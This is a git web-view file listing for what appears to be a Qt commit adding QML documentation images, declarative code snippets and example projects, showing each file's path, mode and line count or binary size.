-rw-r--r--doc/src/images/qml-photoviewer-demo-small.pngbin0 -> 35633 bytes
-rw-r--r--doc/src/images/qml-photoviewer-demo.pngbin0 -> 473306 bytes
-rw-r--r--doc/src/images/qml-plugins-example.pngbin0 -> 15773 bytes
-rw-r--r--doc/src/images/qml-positioners-example.pngbin0 -> 26813 bytes
-rw-r--r--doc/src/images/qml-positioners-layoutdirection-example.pngbin0 -> 13019 bytes
-rw-r--r--doc/src/images/qml-progressbar-example.pngbin0 -> 15188 bytes
-rw-r--r--doc/src/images/qml-propertyanim-example.pngbin0 -> 5028 bytes
-rw-r--r--doc/src/images/qml-qgraphicsgridlayout-example.pngbin0 -> 34384 bytes
-rw-r--r--doc/src/images/qml-qgraphicslinearlayout-example.pngbin0 -> 21677 bytes
-rw-r--r--doc/src/images/qml-qtbubblelevel-demo.pngbin0 -> 72591 bytes
-rw-r--r--doc/src/images/qml-qwidgets-example.pngbin0 -> 13394 bytes
-rw-r--r--doc/src/images/qml-repeater-grid-index.pngbin0 -> 17964 bytes
-rw-r--r--doc/src/images/qml-righttoleft-layoutdirection-example.pngbin0 -> 23327 bytes
-rw-r--r--doc/src/images/qml-righttoleft-layoutmirroring-example.pngbin0 -> 38982 bytes
-rw-r--r--doc/src/images/qml-row.pngbin0 -> 3090 bytes
-rw-r--r--doc/src/images/qml-rssnews-demo-small.pngbin0 -> 19489 bytes
-rw-r--r--doc/src/images/qml-rssnews-demo.pngbin0 -> 128307 bytes
-rw-r--r--doc/src/images/qml-samegame-demo-small.pngbin0 -> 36596 bytes
-rw-r--r--doc/src/images/qml-samegame-demo.pngbin0 -> 213137 bytes
-rw-r--r--doc/src/images/qml-scrollbar-example.pngbin0 -> 266986 bytes
-rw-r--r--doc/src/images/qml-searchbox-example.pngbin0 -> 8170 bytes
-rw-r--r--doc/src/images/qml-shadereffects-example.pngbin0 -> 271264 bytes
-rw-r--r--doc/src/images/qml-slideswitch-example.pngbin0 -> 8298 bytes
-rw-r--r--doc/src/images/qml-snake-demo-small.pngbin0 -> 17895 bytes
-rw-r--r--doc/src/images/qml-snake-demo.pngbin0 -> 105053 bytes
-rw-r--r--doc/src/images/qml-spinner-example.pngbin0 -> 5637 bytes
-rw-r--r--doc/src/images/qml-states-example.pngbin0 -> 4344 bytes
-rw-r--r--doc/src/images/qml-stringlistmodel-example.pngbin0 -> 1612 bytes
-rw-r--r--doc/src/images/qml-tabwidget-example.pngbin0 -> 5298 bytes
-rw-r--r--doc/src/images/qml-texteditor1_button.pngbin0 -> 1670 bytes
-rw-r--r--doc/src/images/qml-texteditor1_editmenu.pngbin0 -> 7358 bytes
-rw-r--r--doc/src/images/qml-texteditor1_filemenu.pngbin0 -> 7078 bytes
-rw-r--r--doc/src/images/qml-texteditor1_simplebutton.pngbin0 -> 1055 bytes
-rw-r--r--doc/src/images/qml-texteditor2_menubar.pngbin0 -> 7975 bytes
-rw-r--r--doc/src/images/qml-texteditor3_textarea.pngbin0 -> 10417 bytes
-rw-r--r--doc/src/images/qml-texteditor3_texteditor.pngbin0 -> 61353 bytes
-rw-r--r--doc/src/images/qml-texteditor4_texteditor.pngbin0 -> 75600 bytes
-rw-r--r--doc/src/images/qml-texteditor5_editmenu.pngbin0 -> 31834 bytes
-rw-r--r--doc/src/images/qml-texteditor5_filemenu.pngbin0 -> 21688 bytes
-rw-r--r--doc/src/images/qml-texteditor5_newfile.pngbin0 -> 92794 bytes
-rw-r--r--doc/src/images/qml-textselection-example.pngbin0 -> 21889 bytes
-rw-r--r--doc/src/images/qml-tic-tac-toe-example.pngbin0 -> 24275 bytes
-rw-r--r--doc/src/images/qml-transitions-example.pngbin0 -> 4377 bytes
-rw-r--r--doc/src/images/qml-tvtennis-example.pngbin0 -> 1385 bytes
-rw-r--r--doc/src/images/qml-twitter-demo-small.pngbin0 -> 19807 bytes
-rw-r--r--doc/src/images/qml-twitter-demo.pngbin0 -> 95812 bytes
-rw-r--r--doc/src/images/qml-visualitemmodel-example.pngbin0 -> 2166 bytes
-rw-r--r--doc/src/images/qml-webbrowser-demo-small.pngbin0 -> 20924 bytes
-rw-r--r--doc/src/images/qml-webbrowser-demo.pngbin0 -> 85107 bytes
-rw-r--r--doc/src/images/qml-webview-alert-example.pngbin0 -> 5417 bytes
-rw-r--r--doc/src/images/qml-webview-autosize-example.pngbin0 -> 11370 bytes
-rw-r--r--doc/src/images/qml-webview-googlemaps-example.pngbin0 -> 133411 bytes
-rw-r--r--doc/src/images/qml-webview-inlinehtml-example.pngbin0 -> 3877 bytes
-rw-r--r--doc/src/images/qml-webview-newwindows-example.pngbin0 -> 6152 bytes
-rw-r--r--doc/src/images/qml-xmlhttprequest-example.pngbin0 -> 20934 bytes
-rw-r--r--doc/src/images/qml-xmllistmodel-example.pngbin0 -> 5252 bytes
-rw-r--r--doc/src/images/qml.pngbin0 -> 8662 bytes
-rw-r--r--doc/src/images/qmldesigner-visual-editor.pngbin0 -> 102238 bytes
-rw-r--r--doc/src/images/quick_screens.pngbin0 -> 128730 bytes
-rw-r--r--doc/src/legal/qtquicklicense.qdoc40
-rw-r--r--doc/src/snippets/declarative/Button.qml67
-rw-r--r--doc/src/snippets/declarative/SelfDestroyingRect.qml60
-rw-r--r--doc/src/snippets/declarative/Sprite.qml45
-rw-r--r--doc/src/snippets/declarative/anchoranimation.qml66
-rw-r--r--doc/src/snippets/declarative/anchorchanges.qml68
-rw-r--r--doc/src/snippets/declarative/animatedimage.qml61
-rw-r--r--doc/src/snippets/declarative/animation.qml226
-rw-r--r--doc/src/snippets/declarative/application.qml53
-rw-r--r--doc/src/snippets/declarative/arrow.pngbin0 -> 454 bytes
-rw-r--r--doc/src/snippets/declarative/behavior.qml58
-rw-r--r--doc/src/snippets/declarative/bestpractices/group.qml76
-rw-r--r--doc/src/snippets/declarative/borderimage/borderimage-defaults.qml55
-rw-r--r--doc/src/snippets/declarative/borderimage/borderimage-scaled.qml81
-rw-r--r--doc/src/snippets/declarative/borderimage/borderimage-tiled.qml81
-rw-r--r--doc/src/snippets/declarative/borderimage/normal-image.qml77
-rw-r--r--doc/src/snippets/declarative/borderimage/pics/borderframe.pngbin0 -> 3411 bytes
-rw-r--r--doc/src/snippets/declarative/borderimage/pics/borderframe.svg82
-rw-r--r--doc/src/snippets/declarative/codingconventions/dotproperties.qml68
-rw-r--r--doc/src/snippets/declarative/codingconventions/javascript-imports.qml47
-rw-r--r--doc/src/snippets/declarative/codingconventions/javascript.qml73
-rw-r--r--doc/src/snippets/declarative/codingconventions/lists.qml62
-rw-r--r--doc/src/snippets/declarative/codingconventions/myscript.js9
-rw-r--r--doc/src/snippets/declarative/codingconventions/photo.qml85
-rw-r--r--doc/src/snippets/declarative/codingconventions/private.qml49
-rw-r--r--doc/src/snippets/declarative/coloranimation.qml51
-rw-r--r--doc/src/snippets/declarative/colors.qml125
-rw-r--r--doc/src/snippets/declarative/column/column.qml67
-rw-r--r--doc/src/snippets/declarative/column/vertical-positioner-transition.qml61
-rw-r--r--doc/src/snippets/declarative/column/vertical-positioner.qml50
-rw-r--r--doc/src/snippets/declarative/comments.qml53
-rw-r--r--doc/src/snippets/declarative/component.qml59
-rw-r--r--doc/src/snippets/declarative/componentCreation.js45
-rw-r--r--doc/src/snippets/declarative/createComponent-simple.qml57
-rw-r--r--doc/src/snippets/declarative/createComponent.qml51
-rw-r--r--doc/src/snippets/declarative/createQmlObject.qml61
-rw-r--r--doc/src/snippets/declarative/dynamicObjects-destroy.qml55
-rw-r--r--doc/src/snippets/declarative/events.qml141
-rw-r--r--doc/src/snippets/declarative/flickable.qml50
-rw-r--r--doc/src/snippets/declarative/flickableScrollbar.qml66
-rw-r--r--doc/src/snippets/declarative/flipable/flipable.qml78
-rw-r--r--doc/src/snippets/declarative/flow-diagram.qml75
-rw-r--r--doc/src/snippets/declarative/flow.qml64
-rw-r--r--doc/src/snippets/declarative/focus/advancedFocus.qml67
-rw-r--r--doc/src/snippets/declarative/focus/basicwidget.qml59
-rw-r--r--doc/src/snippets/declarative/focus/clickablewidget.qml61
-rw-r--r--doc/src/snippets/declarative/focus/focusColumn.qml64
-rw-r--r--doc/src/snippets/declarative/focus/focusscopewidget.qml63
-rw-r--r--doc/src/snippets/declarative/focus/myclickablewidget.qml69
-rw-r--r--doc/src/snippets/declarative/focus/myfocusscopewidget.qml68
-rw-r--r--doc/src/snippets/declarative/focus/mywidget.qml58
-rw-r--r--doc/src/snippets/declarative/focus/qmldir4
-rw-r--r--doc/src/snippets/declarative/focus/rectangle.qml62
-rw-r--r--doc/src/snippets/declarative/focus/widget.qml61
-rw-r--r--doc/src/snippets/declarative/focusscopes.qml67
-rw-r--r--doc/src/snippets/declarative/folderlistmodel.qml61
-rw-r--r--doc/src/snippets/declarative/gradient.qml52
-rw-r--r--doc/src/snippets/declarative/grid-spacing.qml60
-rw-r--r--doc/src/snippets/declarative/grid/grid-items.qml58
-rw-r--r--doc/src/snippets/declarative/grid/grid-no-spacing.qml57
-rw-r--r--doc/src/snippets/declarative/grid/grid-spacing.qml60
-rw-r--r--doc/src/snippets/declarative/grid/grid.qml53
-rw-r--r--doc/src/snippets/declarative/gridview/ContactModel.qml63
-rw-r--r--doc/src/snippets/declarative/gridview/gridview.qml163
-rw-r--r--doc/src/snippets/declarative/gridview/pics/portrait.pngbin0 -> 3126 bytes
-rw-r--r--doc/src/snippets/declarative/image.qml47
-rw-r--r--doc/src/snippets/declarative/imports/best-practices.qml49
-rw-r--r--doc/src/snippets/declarative/imports/chart.qml46
-rw-r--r--doc/src/snippets/declarative/imports/installed-module.qml47
-rw-r--r--doc/src/snippets/declarative/imports/merged-named-imports.qml47
-rw-r--r--doc/src/snippets/declarative/imports/named-imports.qml61
-rw-r--r--doc/src/snippets/declarative/imports/network-imports.qml47
-rw-r--r--doc/src/snippets/declarative/imports/qtquick-1.0.qml46
-rw-r--r--doc/src/snippets/declarative/imports/timeexample.qml46
-rw-r--r--doc/src/snippets/declarative/integrating-javascript/connectjs.qml57
-rw-r--r--doc/src/snippets/declarative/integrating-javascript/includejs/app.qml56
-rw-r--r--doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js49
-rw-r--r--doc/src/snippets/declarative/integrating-javascript/includejs/script.js48
-rw-r--r--doc/src/snippets/declarative/integrating-javascript/script.js47
-rw-r--r--doc/src/snippets/declarative/keynavigation.qml84
-rw-r--r--doc/src/snippets/declarative/keys/keys-handler.qml60
-rw-r--r--doc/src/snippets/declarative/keys/keys-pressed.qml65
-rw-r--r--doc/src/snippets/declarative/layoutmirroring.qml71
-rw-r--r--doc/src/snippets/declarative/listmodel-modify.qml96
-rw-r--r--doc/src/snippets/declarative/listmodel-nested.qml102
-rw-r--r--doc/src/snippets/declarative/listmodel-simple.qml79
-rw-r--r--doc/src/snippets/declarative/listmodel.qml59
-rw-r--r--doc/src/snippets/declarative/listview-decorations.qml111
-rw-r--r--doc/src/snippets/declarative/listview-sections.qml101
-rw-r--r--doc/src/snippets/declarative/listview.qml87
-rw-r--r--doc/src/snippets/declarative/listview/ContactModel.qml58
-rw-r--r--doc/src/snippets/declarative/listview/listview-snippet.qml52
-rw-r--r--doc/src/snippets/declarative/listview/listview.qml149
-rw-r--r--doc/src/snippets/declarative/loader/KeyReader.qml53
-rw-r--r--doc/src/snippets/declarative/loader/MyItem.qml55
-rw-r--r--doc/src/snippets/declarative/loader/connections.qml57
-rw-r--r--doc/src/snippets/declarative/loader/focus.qml62
-rw-r--r--doc/src/snippets/declarative/loader/simple.qml54
-rw-r--r--doc/src/snippets/declarative/loader/sizeitem.qml62
-rw-r--r--doc/src/snippets/declarative/loader/sizeloader.qml62
-rw-r--r--doc/src/snippets/declarative/models/views-models-delegates.qml78
-rw-r--r--doc/src/snippets/declarative/models/visual-model-and-view.qml57
-rw-r--r--doc/src/snippets/declarative/mousearea/mousearea-snippet.qml100
-rw-r--r--doc/src/snippets/declarative/mousearea/mousearea.qml117
-rw-r--r--doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml72
-rw-r--r--doc/src/snippets/declarative/numberanimation.qml51
-rw-r--r--doc/src/snippets/declarative/parallelanimation.qml56
-rw-r--r--doc/src/snippets/declarative/parentanimation.qml73
-rw-r--r--doc/src/snippets/declarative/parentchange.qml67
-rw-r--r--doc/src/snippets/declarative/pathview/ContactModel.qml58
-rw-r--r--doc/src/snippets/declarative/pathview/pathattributes.qml79
-rw-r--r--doc/src/snippets/declarative/pathview/pathview.qml80
-rw-r--r--doc/src/snippets/declarative/pathview/pics/qtlogo.pngbin0 -> 2991 bytes
-rw-r--r--doc/src/snippets/declarative/pics/checker.svg17
-rw-r--r--doc/src/snippets/declarative/pics/qt.pngbin0 -> 2991 bytes
-rw-r--r--doc/src/snippets/declarative/pics/qtlogo.pngbin0 -> 2991 bytes
-rw-r--r--doc/src/snippets/declarative/properties.qml315
-rw-r--r--doc/src/snippets/declarative/propertyaction-sequential.qml72
-rw-r--r--doc/src/snippets/declarative/propertyaction.qml83
-rw-r--r--doc/src/snippets/declarative/propertyanimation.qml100
-rw-r--r--doc/src/snippets/declarative/propertychanges.qml91
-rw-r--r--doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml67
-rw-r--r--doc/src/snippets/declarative/qml-data-models/listelements.qml77
-rw-r--r--doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml64
-rw-r--r--doc/src/snippets/declarative/qml-documents/inline-component.qml57
-rw-r--r--doc/src/snippets/declarative/qml-documents/inline-text-component.qml55
-rw-r--r--doc/src/snippets/declarative/qml-documents/non-trivial.qml62
-rw-r--r--doc/src/snippets/declarative/qml-documents/qmldocuments.qml66
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/components/Button.qml53
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/components/application.qml49
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/methods/app.qml55
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/ImageViewer.qml52
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/alias-override.qml48
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/alias.qml51
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/alias/ImageViewer.qml52
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/alias/application.qml54
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/application.qml50
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/properties/property-signals.qml49
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/Button.qml55
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/basic.qml55
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/connectdynamic.qml61
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/connectslots.qml56
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/no-parameters.qml49
-rw-r--r--doc/src/snippets/declarative/qml-extending-types/signals/parameters.qml50
-rw-r--r--doc/src/snippets/declarative/qml-intro/images/qt-logo.svg104
-rw-r--r--doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml46
-rw-r--r--doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h52
-rw-r--r--doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml52
-rw-r--r--doc/src/snippets/declarative/qtbinding/context-advanced/context-advanced.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp60
-rw-r--r--doc/src/snippets/declarative/qtbinding/context/MyItem.qml45
-rw-r--r--doc/src/snippets/declarative/qtbinding/context/context.pro2
-rw-r--r--doc/src/snippets/declarative/qtbinding/context/main.cpp56
-rw-r--r--doc/src/snippets/declarative/qtbinding/enums/enums.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/enums/imageviewer.h68
-rw-r--r--doc/src/snippets/declarative/qtbinding/enums/main.cpp73
-rw-r--r--doc/src/snippets/declarative/qtbinding/enums/standalone.qml64
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml55
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-cpp/functions-qml.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp59
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h57
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml50
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-qml/functions-qml.pro2
-rw-r--r--doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp63
-rw-r--r--doc/src/snippets/declarative/qtbinding/loading/MyItem.qml56
-rw-r--r--doc/src/snippets/declarative/qtbinding/loading/loading.pro2
-rw-r--r--doc/src/snippets/declarative/qtbinding/loading/main.cpp90
-rw-r--r--doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h56
-rw-r--r--doc/src/snippets/declarative/qtbinding/newelements/main.cpp62
-rw-r--r--doc/src/snippets/declarative/qtbinding/newelements/newelements.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/newelements/standalone.qml44
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml54
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h71
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-cpp/main.cpp58
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-cpp/properties-cpp.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml47
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp61
-rw-r--r--doc/src/snippets/declarative/qtbinding/properties-qml/properties-qml.pro2
-rw-r--r--doc/src/snippets/declarative/qtbinding/resources/example.qrc10
-rw-r--r--doc/src/snippets/declarative/qtbinding/resources/images/background.png0
-rw-r--r--doc/src/snippets/declarative/qtbinding/resources/main.cpp57
-rw-r--r--doc/src/snippets/declarative/qtbinding/resources/main.qml46
-rw-r--r--doc/src/snippets/declarative/qtbinding/resources/resources.pro4
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml50
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h64
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp81
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-cpp/signals-cpp.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml48
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml55
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp59
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h51
-rw-r--r--doc/src/snippets/declarative/qtbinding/signals-qml/signals-qml.pro3
-rw-r--r--doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml54
-rw-r--r--doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp67
-rw-r--r--doc/src/snippets/declarative/qtbinding/variantlistmap/variantlistmap.pro2
-rw-r--r--doc/src/snippets/declarative/qtobject.qml54
-rw-r--r--doc/src/snippets/declarative/rectangle/rect-border-width.qml59
-rw-r--r--doc/src/snippets/declarative/rectangle/rectangle-colors.qml62
-rw-r--r--doc/src/snippets/declarative/rectangle/rectangle-gradient.qml74
-rw-r--r--doc/src/snippets/declarative/rectangle/rectangle-smooth.qml87
-rw-r--r--doc/src/snippets/declarative/rectangle/rectangle.qml52
-rw-r--r--doc/src/snippets/declarative/repeaters/repeater-grid-index.qml61
-rw-r--r--doc/src/snippets/declarative/repeaters/repeater.qml89
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/Button.qml84
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/application.qml55
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/component.qml77
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/focusbutton.qml98
-rw-r--r--doc/src/snippets/declarative/reusablecomponents/qmldir4
-rw-r--r--doc/src/snippets/declarative/righttoleft.qml149
-rw-r--r--doc/src/snippets/declarative/righttoleft/Child.qml51
-rw-r--r--doc/src/snippets/declarative/rotation.qml69
-rw-r--r--doc/src/snippets/declarative/rotationanimation.qml66
-rw-r--r--doc/src/snippets/declarative/row.qml62
-rw-r--r--doc/src/snippets/declarative/row/row.qml50
-rw-r--r--doc/src/snippets/declarative/script.js4
-rw-r--r--doc/src/snippets/declarative/sequentialanimation.qml56
-rw-r--r--doc/src/snippets/declarative/smoothedanimation.qml69
-rw-r--r--doc/src/snippets/declarative/springanimation.qml65
-rw-r--r--doc/src/snippets/declarative/state-when.qml54
-rw-r--r--doc/src/snippets/declarative/state.qml61
-rw-r--r--doc/src/snippets/declarative/states.qml121
-rw-r--r--doc/src/snippets/declarative/states/statechangescript.qml62
-rw-r--r--doc/src/snippets/declarative/systempalette.qml54
-rw-r--r--doc/src/snippets/declarative/text/onLinkActivated.qml54
-rw-r--r--doc/src/snippets/declarative/texteditor.qml72
-rw-r--r--doc/src/snippets/declarative/texthandling.qml89
-rw-r--r--doc/src/snippets/declarative/transition-from-to-modified.qml60
-rw-r--r--doc/src/snippets/declarative/transition-from-to.qml59
-rw-r--r--doc/src/snippets/declarative/transition-reversible.qml66
-rw-r--r--doc/src/snippets/declarative/transition.qml63
-rw-r--r--doc/src/snippets/declarative/transitions-list.qml89
-rw-r--r--doc/src/snippets/declarative/visualdatamodel.qml64
-rw-r--r--doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp62
-rw-r--r--doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml65
-rw-r--r--doc/src/snippets/declarative/visualdatamodel_rootindex/visualdatamodel_rootindex.pro4
-rw-r--r--doc/src/snippets/declarative/webview/webview.qml53
-rw-r--r--doc/src/snippets/declarative/workerscript.qml64
-rw-r--r--doc/src/snippets/declarative/xmlrole.qml80
-rw-r--r--doc/src/snippets/declarative/xmlrole.xml14
-rw-r--r--examples/declarative/README41
-rw-r--r--examples/declarative/animation/animation.pro8
-rw-r--r--examples/declarative/animation/basics/color-animation/basics.qmlproject16
-rw-r--r--examples/declarative/animation/basics/color-animation/color-animation.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/basics/color-animation/color-animation.pro51
-rw-r--r--examples/declarative/animation/basics/color-animation/color-animation.svg93
-rw-r--r--examples/declarative/animation/basics/color-animation/main.cpp54
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/color-animation.qml112
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/images/face-smile.pngbin0 -> 15408 bytes
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/images/moon.pngbin0 -> 2433 bytes
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/images/shadow.pngbin0 -> 425 bytes
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/images/star.pngbin0 -> 349 bytes
-rw-r--r--examples/declarative/animation/basics/color-animation/qml/color-animation/images/sun.pngbin0 -> 8153 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/main.cpp54
-rw-r--r--examples/declarative/animation/basics/property-animation/property-animation.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/property-animation.pro41
-rw-r--r--examples/declarative/animation/basics/property-animation/property-animation.svg93
-rw-r--r--examples/declarative/animation/basics/property-animation/property.qmlproject16
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/images/face-smile.pngbin0 -> 15408 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/images/moon.pngbin0 -> 2433 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/images/shadow.pngbin0 -> 425 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/images/star.pngbin0 -> 349 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/images/sun.pngbin0 -> 8153 bytes
-rw-r--r--examples/declarative/animation/basics/property-animation/qml/property-animation/property-animation.qml105
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/behavior-example.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/behavior-example.pro41
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/behavior-example.svg93
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/behaviors.qmlproject16
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/main.cpp54
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/qml/behaviours/SideRect.qml62
-rw-r--r--examples/declarative/animation/behaviors/behavior-example/qml/behaviours/behavior-example.qml118
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/main.cpp54
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/qml/wigglytext/wigglytext.qml108
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/wigglytext.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/wigglytext.pro41
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/wigglytext.qmlproject16
-rw-r--r--examples/declarative/animation/behaviors/wigglytext/wigglytext.svg93
-rw-r--r--examples/declarative/animation/easing/easing.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/easing/easing.pro41
-rw-r--r--examples/declarative/animation/easing/easing.qml159
-rw-r--r--examples/declarative/animation/easing/easing.qmlproject16
-rw-r--r--examples/declarative/animation/easing/easing.svg93
-rw-r--r--examples/declarative/animation/easing/main.cpp54
-rw-r--r--examples/declarative/animation/easing/qml/easing/content/QuitButton.qml52
-rw-r--r--examples/declarative/animation/easing/qml/easing/content/quit.pngbin0 -> 583 bytes
-rw-r--r--examples/declarative/animation/easing/qml/easing/easing.qml159
-rw-r--r--examples/declarative/animation/states/main.cpp57
-rw-r--r--examples/declarative/animation/states/qml/states/qt-logo.pngbin0 -> 5149 bytes
-rw-r--r--examples/declarative/animation/states/qml/states/states.qml101
-rw-r--r--examples/declarative/animation/states/qml/states/transitions.qml130
-rw-r--r--examples/declarative/animation/states/states.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/animation/states/states.pro41
-rw-r--r--examples/declarative/animation/states/states.qmlproject16
-rw-r--r--examples/declarative/animation/states/states.svg93
-rw-r--r--examples/declarative/cppextensions/cppextensions.pro10
-rw-r--r--examples/declarative/cppextensions/cppextensions.qmlproject16
-rw-r--r--examples/declarative/cppextensions/imageprovider/ImageProviderCore/qmldir2
-rw-r--r--examples/declarative/cppextensions/imageprovider/imageprovider-example.qml49
-rw-r--r--examples/declarative/cppextensions/imageprovider/imageprovider.cpp110
-rw-r--r--examples/declarative/cppextensions/imageprovider/imageprovider.pro29
-rw-r--r--examples/declarative/cppextensions/imageprovider/imageprovider.qmlproject16
-rw-r--r--examples/declarative/cppextensions/networkaccessmanagerfactory/main.cpp106
-rw-r--r--examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro41
-rw-r--r--examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject16
-rw-r--r--examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc5
-rw-r--r--examples/declarative/cppextensions/networkaccessmanagerfactory/qml/networkaccessmanagerfactory/view.qml47
-rw-r--r--examples/declarative/cppextensions/plugins/README9
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/Clock.qml90
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/center.pngbin0 -> 765 bytes
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/clock.pngbin0 -> 20653 bytes
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/hour.pngbin0 -> 625 bytes
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/minute.pngbin0 -> 625 bytes
-rw-r--r--examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir2
-rw-r--r--examples/declarative/cppextensions/plugins/plugin.cpp157
-rw-r--r--examples/declarative/cppextensions/plugins/plugins.pro30
-rw-r--r--examples/declarative/cppextensions/plugins/plugins.qml52
-rw-r--r--examples/declarative/cppextensions/plugins/plugins.qmlproject16
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.pro8
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qml57
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qmlproject16
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/layoutitem/layoutitem.qrc5
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/layoutitem/main.cpp74
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.cpp188
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.h217
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/gridlayout.qrc5
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/main.cpp63
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qgraphicsgridlayout.pro49
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout/qml/qgraphicsgridlayout/qgraphicsgridlayout.qml100
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.pro6
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslayouts.qmlproject16
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.cpp175
-rw-r--r--examples/declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout/linearlayout.h152
